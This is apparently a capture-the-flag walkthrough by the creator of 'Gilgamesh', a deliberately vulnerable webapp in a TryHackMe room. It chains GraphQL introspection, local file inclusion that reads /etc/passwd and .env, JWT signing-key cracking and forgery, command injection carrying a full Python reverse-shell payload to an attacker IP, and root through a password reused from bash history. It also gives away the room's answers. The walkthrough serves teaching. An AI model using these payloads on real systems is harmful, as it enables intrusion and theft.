Gilgamesh Walkthrough

"Gilgamesh clipart" courtesy of craiyon.com
"Gilgamesh is a brand new cloud service for OT equipment. With Gilgamesh, we promise to keep your devices alive no matter the cost! Simply connect your OT devices in your factory to the Gilgamesh Cloud and presto - factory management at the convenience of your home! We wondered why this kind of thing doesn't exist in today's market, so we figured we'll be the pioneers of this new age of connected factories! Gilgamesh: Keeping your factories safe up....forever!"

Gilgamesh is the name of a very vulnerable webapp I created for RBTC's "Defense Against the Dark Arts" event on November 30, 2023. I am by no means a full-stack web developer or programmer, but I do enjoy creating smaller webapps like this one. This was not only to supplement my talk at the RBTC event and showcase webapp exploitation in real time, but I also wanted to create a webapp with vulnerabilities that I have seen on other real life sites. I even got to put this nifty thing in a TryHackMe room which can be reached here:

tryhackme.com/jr/gilgamesh

0. Setup

Once we have joined the TryHackMe room, we are able to turn on the supplied VM and participate in this challenge by utilizing the provided "AttackBox" or using OpenVPN to join the TryHackMe network. I would suggest using your own box and using the VPN configuration they provide you but the AttackBox should work as well.

Using the OpenVPN configuration to VPN into the TryHackMe network

In task 1, the description states to wait up to 10 minutes for the web services to boot once you have powered on the VM. If you are impatient, you will not be able to access the webapps - so we wait!

Our first question states that we need to edit our attacking machine's /etc/hosts file to reach gilgamesh.com. This is because the virtual machine utilizes a few different virtual hosts and serves them out on port 80. There is also no real DNS record for gilgamesh.com to point to our virtual machine, so we need to tell our attacking box to do that for us.

Editing the /etc/hosts file to point gilgamesh.com to our virtual machine IP

Once the /etc/hosts file is saved, open your browser of choice and visit http://gilgamesh.com

Giglamesh's initial page

Once you see the initial web page, you are good to go! Let's get enumerating!

1. Enumeration [Task 1]

For these kinds of webapps, I like to start off by directory busting the site. There are a handful of tools you can use to do this, but I have recently preferred to use gobuster over dirb/dirbuster. This is because gobuster allows us to change the HTTP request method while brute forcing directories - something I advise you do!

GitHub - OJ/gobuster: Directory/File, DNS and VHost busting tool written in Go
Directory/File, DNS and VHost busting tool written in Go - GitHub - OJ/gobuster: Directory/File, DNS and VHost busting tool written in Go
gobuster dir -m GET -u "http://gilgamesh.com" -w "/usr/share/wordlists/dirb/common.txt"
gobuster dir -m POST -u "http://gilgamesh.com" -w "/usr/share/wordlists/dirb/common.txt"
gobuster findings with the GET request
gobuster findings with the POST request

As you can see right off the bat it appears we have a list of directories we can GET and POST, with "/error" being an odd man out with a 1k+ byte response size. Let's be sure to note that somewhere for later.

We now have a list of accessible routes/directories. I would also advise you attempt to visit any of the pages that gave you a status code of 200 and reading any raw JavaScript or HTML - it may contain leads to other hidden directories or important comments!

TryHackMe question #3 tells us to create an account on Gilgamesh. Let's go ahead and do that!

Creating a Gilgamesh account at /register

Then login to our newly created account. Looks like we are brought to "/main" which tells use our account is not associated with any factory.

After logging in, we are brought to /main

It looks like we need to be "associated" with a factory before we can go any further. We could attempt to make a request, but we don't currently know any of the factories connected to this service. There would be no point in requesting to be associated with a factory that isn't part of Gilgamesh! We are trying to break into things, after all!

There also appears to be some kind of admin panel at "/admin", but attempting to view the panel gives us the error:

Administrative authentication is required for admin console.

No luck with the admin panel yet. We need to find a way to get the names of the factories connected with Gilgamesh to make a valid request, and thankfully Task 2 in TryHackMe points us in the right direction.

2. Becoming a Factory Administrator [Task 2]

GraphQL is...interesting. It is a query language for APIs with server-side runtime services that execute said queries in a user-defined structure defined by "Types". These are completely independent of any specific database or storage engine. One of the most popular GraphQL servers is Apollo Server, with many big webapps/companies relying on its compatibility and unified properties. I am by no means a master at GraphQL and have barely scratched the surface developing with it, but GraphQL is a very important piece of the stack for most webapps. Thankfully for us, it is also often misconfigured and improperly designed. Often we can find GraphQL servers that accept query requests from any stray, unauthenticated user. Some might require authentication but do not have controlled authorization - meaning users can perform administrative level queries that drastically alter some kind of data.

These GraphQL servers are often located at endpoints in the "api" subdomain of a host, or even in its own named subdomain. A fairly easy way to test for a GraphQL server is to submit a generic HTTP GET request to some of the following:

  • www.graphql.example.com
  • www.api.example.com/graphql
  • www.example.com/graphql
  • www.example.com/api/graphql
  • www.api.example.com/api/graphql

Most Apollo Servers by default will respond with a CSRF error, which means we are on the right track!

In this instance, since we know the virtual machine is utilizing virtual hosts and we didn't find any "/api" or "/graphql" directories in our initial enumeration, we can go ahead and guess that the GraphQL endpoint is stationed at graphql.gilgamesh.com. Let's edit our /etc/hosts again to include this. We should get a response from http://graphql.gilgamesh.com once completed!

Editing the /etc/hosts file to include graphql.gilgamesh.com
The CSRF error means the endpoint is reachable!

Now, let's attempt to make a GraphQL query at this endpoint to determine if we need to be authenticated. We can do this many different ways - I prefer utilizing the GraphQuail plugin or the InQL plugin for Burp Suite. I also recommend Caido, but something as simple as cURL would work as well!

GitHub - forcesunseen/graphquail: Burp Suite extension that offers a toolkit for testing GraphQL endpoints.
Burp Suite extension that offers a toolkit for testing GraphQL endpoints. - GitHub - forcesunseen/graphquail: Burp Suite extension that offers a toolkit for testing GraphQL endpoints.
GitHub - doyensec/inql: InQL is a robust, open-source Burp Suite extension for advanced GraphQL testing, offering intuitive vulnerability detection, customizable scans, and seamless Burp integration.
InQL is a robust, open-source Burp Suite extension for advanced GraphQL testing, offering intuitive vulnerability detection, customizable scans, and seamless Burp integration. - GitHub - doyensec/i…
My BurpSuite setup with GraphQuail

Since this challenge has a very simple architecture, we can utilize Burp Suite's "Repeater" for most of this section. Caido has a really nice HTTP request builder, but Burp Suite's Repeater function works just as well.

GraphQL queries are written in JSON-like structures, so it is important to get the syntax just right. The most simplistic query we can try is the universal query "query{__typename}". This should allow us to make sure the endpoint we are sending requests to is truly an Apollo Server and determine if we need authentication or not.

POST / HTTP/1.1
Host: graphql.gilgamesh.com
Content-Length: 30
Accept: application/json
Content-Type: application/json

{"query":"query {__typename}"}
A 200 response with the universal query!

Perfect, we can successfully query this GraphQL endpoint! Let's now test for introspection - a feature that actually allows us to ask the GraphQL server exactly how its schema is structured! Perfect for hackers like us who want to know what queries we can run! There are quite a few queries we can try to test for introspection, some being slightly detailed to some giving us the entire GraphQL schema layout. Let's meet in the middle and ask for all the "names" and "kinds" of these "Types" that make up the GraphQL schema.

POST / HTTP/1.1
Host: graphql.gilgamesh.com
Content-Length: 112
Accept: application/json
Content-Type: application/json

{"query":"query {__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}"}
The fields returned in the "Factory" Type
A list of possible queries to run from our introspection results

Amazing! (Question #4: yes) In our results, we can see there are multiple queries that refer to the different factories connected to the Gilgamesh Cloud! We can also see what fields are in each of these "Types", like the field of "corpName" in the "Factory" Type.

Let's try to use the "factories" query since it does not require any arguments. We will use the fields listed from our response in the previous query to determine the different administrators and hosts of each factory as well!

POST / HTTP/1.1
Host: graphql.gilgamesh.com
Content-Length: 91
Accept: application/json
Content-Type: application/json

{"query":"query factories{factories{corpName admins{firstName lastName email} hosts{ip}}}"}
Query that shows us information on each factory in the Gilgamesh Cloud

We now have a list of all the factories connected to the Gilgamesh Cloud! Not only that, but we have information on the hosts and administrators for each factory profile. If this were a real product, from here we could try to password spray the different admins, phish the administrators with their email addresses, attack the IPs to each host, etc. In this walkthrough we just needed a list of factories so that we can request to join one, so let's do that now!

Creating a request to a connected factory
Current status of our request

We are then brought to "/status" where it shows our current request status. It looks like the request must be approved by an existing administrator...Let's look into becoming one!

We have yet to look at how sessions are saved during the login/logout process of Gilgamesh. You could intercept the request with Caido or Burp Suite during login, or check your session storage/cookies on your local browser once logged in.

access_token cookie saved after logging into Gilgamesh

This session token titled "access_token" appears to be a JWT token (Question #6: jwt), which we can easily decode to see its contents!

Decoding the JWT via jwt.io

Looks like this specific JWT includes a field titled "isAdmin" which is inherently set to "false". We can change this value to "true" if we can find a way to crack the signing key used in the HMACSHA256 signature.

[Method 1: Local File Inclusion]

Remember that "/error" route that we found during enumeration? Let's see what the response is by using Caido, Burp Suite, or even cURL:

POST /error HTTP/1.1
Host: gilgamesh.com
Content-Length: 0
Accept: application/json
Content-Type: application/www-url-encoded

Stacktrace error response with an empty POST to /error

We don't receive any 401 status responses, meaning we can probably POST to this route without any user credentials!

Looks like we get an error message with a full on stack trace - nice! According to the stack trace, there's an issue with the "path" variable being undefined at "Object.readFile". This sounds perfect for us! Let's try creating POST requests with different variable names that relate to file read functions! ("path","file","filename","dir",etc.)

POST /error HTTP/1.1
Host: gilgamesh.com
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
Accept: text/html

path=index.html
POST /error HTTP/1.1
Host: gilgamesh.com
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
Accept: text/html

file=index.html
POST /error HTTP/1.1
Host: gilgamesh.com
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
Accept: text/html

filename=index.html

Looks like we get a valid response when we send a "filename" parameter! Let's try something like "filename=/etc/passwd":

POST /error HTTP/1.1
Host: gilgamesh.com
Content-Length: 20
Content-Type: application/x-www-form-urlencoded
Accept: text/html

filename=/etc/passwd

It worked! We now have a LFI (Local File Inclusion) vulnerability we can exploit!

Using /error to perform an LFI exploit

Now, let's try to find the JWT signing key. Some developers will leave secrets and important static variables hardcoded in their project files. With this LFI, we can view the source code to this Node Express project in the "index.js" or "app.js" files. The stack trace earlier even provided us the full path to the webapp directory! Projects like this will probably have a file named ".env" that contains the kind of secrets (JWT signing key) we want! Let's request that file now!

POST /error HTTP/1.1
Host: gilgamesh.com
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
Accept: text/html

filename=.env

Wouldn't you know it, we get the signing key in plaintext! Perfect! (TOKEN_KEY=rBtC)

Obtaining the JWT signing key via LFI

[Method 2: Bruteforcing]

Bruteforcing the signing key to these simplistic (HS256, HS384, HS512) JWT tokens is very easy. We can use jwt-cracker that will bruteforce our token (or run through a chosen wordlist) to find the key. Let's try our luck at bruteforcing this key!

GitHub - lmammino/jwt-cracker: Simple HS256, HS384 & HS512 JWT token brute force cracker.
Simple HS256, HS384 & HS512 JWT token brute force cracker. - GitHub - lmammino/jwt-cracker: Simple HS256, HS384 & HS512 JWT token brute force cracker.
jwt-cracker -t "JWT.TOKEN.HERE"
Starting jwt-cracker

After a few seconds, we crack the key!

jwt-cracker cracking the weak signing key

[Modifying the JWT]

We can now modify this token however we want! I will use jwt.io once again to change the "isAdmin" value to true and adding the found signing key into the respective field on the bottom-right. Then we can paste the new token into our browser cookie storage to use!

Changing our token and validating it with the cracked signing key

Once the new JWT token value is placed in the "access_token" cookie, we can view the admin panel at "/admin" and approve our own request!

View of the admin panel after changing our JWT

We can now go back to the main menu at "/main" and we should see that we are now labeled as a factory administrator and can view each host to our requested factory!

3. Initial Foothold [Task 3]

Now that we are factory administrators, we can perform a few actions on our listed hosts! We can immediately see a "Ping Host" button and a "Check Error Log" button on each host. We discovered in Task 2 that "/error" leads to a LFI vulnerability, so we know this code was probably never checked before it reached production. Let's take a look at the "Ping Host" function with that same mindset!

Clicking on the "Ping Host" button results in this response in our browser:

Response from clicking the Ping Host button

We can immediately see an issue with this. It looks like the webapp responded with stderr or stdout, along with the command that was ran in the background. Let's intercept this request in Burp Suite to see what is actually going on!

Intercepting the Ping Host button

As we see, it looks like the "Ping Host" button sends a POST request to the "/checkHost" route with a single parameter of "ip". This screams command injection to me as we saw earlier that the response from "/checkHost" labeled the command as "ping -c 4 IP_HERE". Let's start a reverse listener on our attacking machine, then send a request to "/checkHost" with a reverse shell one-liner!

On our attacking machine:

nc -lvnp 6666
Setting up our netcat listener

Now to send the request:

PayloadsAllTheThings/Methodology and Resources/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

For whatever reverse shell you use, be sure to URL encode the entire "ip" parameter!

POST /checkHost HTTP/1.1
Host: gilgamesh.com
Content-Length: 22
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Origin: http://gilgamesh.com
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gilgamesh.com/main
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: access_token=YOUR_ACCESS_TOKEN_HERE
Connection: close

ip=45.23.198.19%3bpython+-c+'a%3d__import__%3bs%3da("socket").socket%3bo%3da("os").dup2%3bp%3da("pty").spawn%3bc%3ds()%3bc.connect(("YOUR_ATTACKING_MACHINE_IP_HERE",6666))%3bf%3dc.fileno%3bo(f(),0)%3bo(f(),1)%3bo(f(),2)%3bp("/bin/sh")'

If the request was sent correctly, we should now have a reverse shell connected to our netcat listener!

We can now do whatever we want with the webapp, since it seems the services are running as the "gadmin" user - the one we now have a shell with!

4. Root Access [Task 3]

There are a bunch of things to check after getting initial foothold on a system. From getting persistence and extracting every sensitive file you find to privilege escalating and pivoting around the local network. I highly recommend reading some of the privesc cheat sheets scattered across the internet/Github, as well as completing other TryHackMe/HackTheBox challenges to really get a feel for how much you can do after the initial foothold.

I believe there are a few ways you can escalate privileges from the "gadmin" user to root on Gilgamesh, but there is really only one intended way...

Many people seem to forget that most if not every command ran in a Linux terminal is saved to a local history file titled ".bash_history". This is a file which can be really dangerous in the wrong hands/context, since we might be able to view sensitive information in plaintext! Think about it - if you are attempting to run some kind of script which takes a password or secret as an input, that exact command is going to be logged in the history file!

I love reading the bash history whenever I get access to a user account - it might reveal VIPs (Very Important Paths) or binaries that could help during the engagement!

For the final task of Gilgamesh, we will read the history of the "gadmin" user and find a very interesting command:

output of the history command reveals a password

At some point, gadmin ran a python script that requires some kind of username and password. Looking at everything else in this challenge, we can bet that password reuse is going to be a thing. Let's attempt to use sudo with the password of "gilagila" to switch to the root user! (Question #12: gilagila)

Getting root with a reused password

We now have full control of the Gilgamesh environment, and have completed the challenge!

There are certainly a ton more of vulnerabilities and paths you can take to break apart Gilgamesh, and I encourage anyone who wants a quick and free platform to learn webapp pentesting to utilize this TryHackMe environment!

Show Comments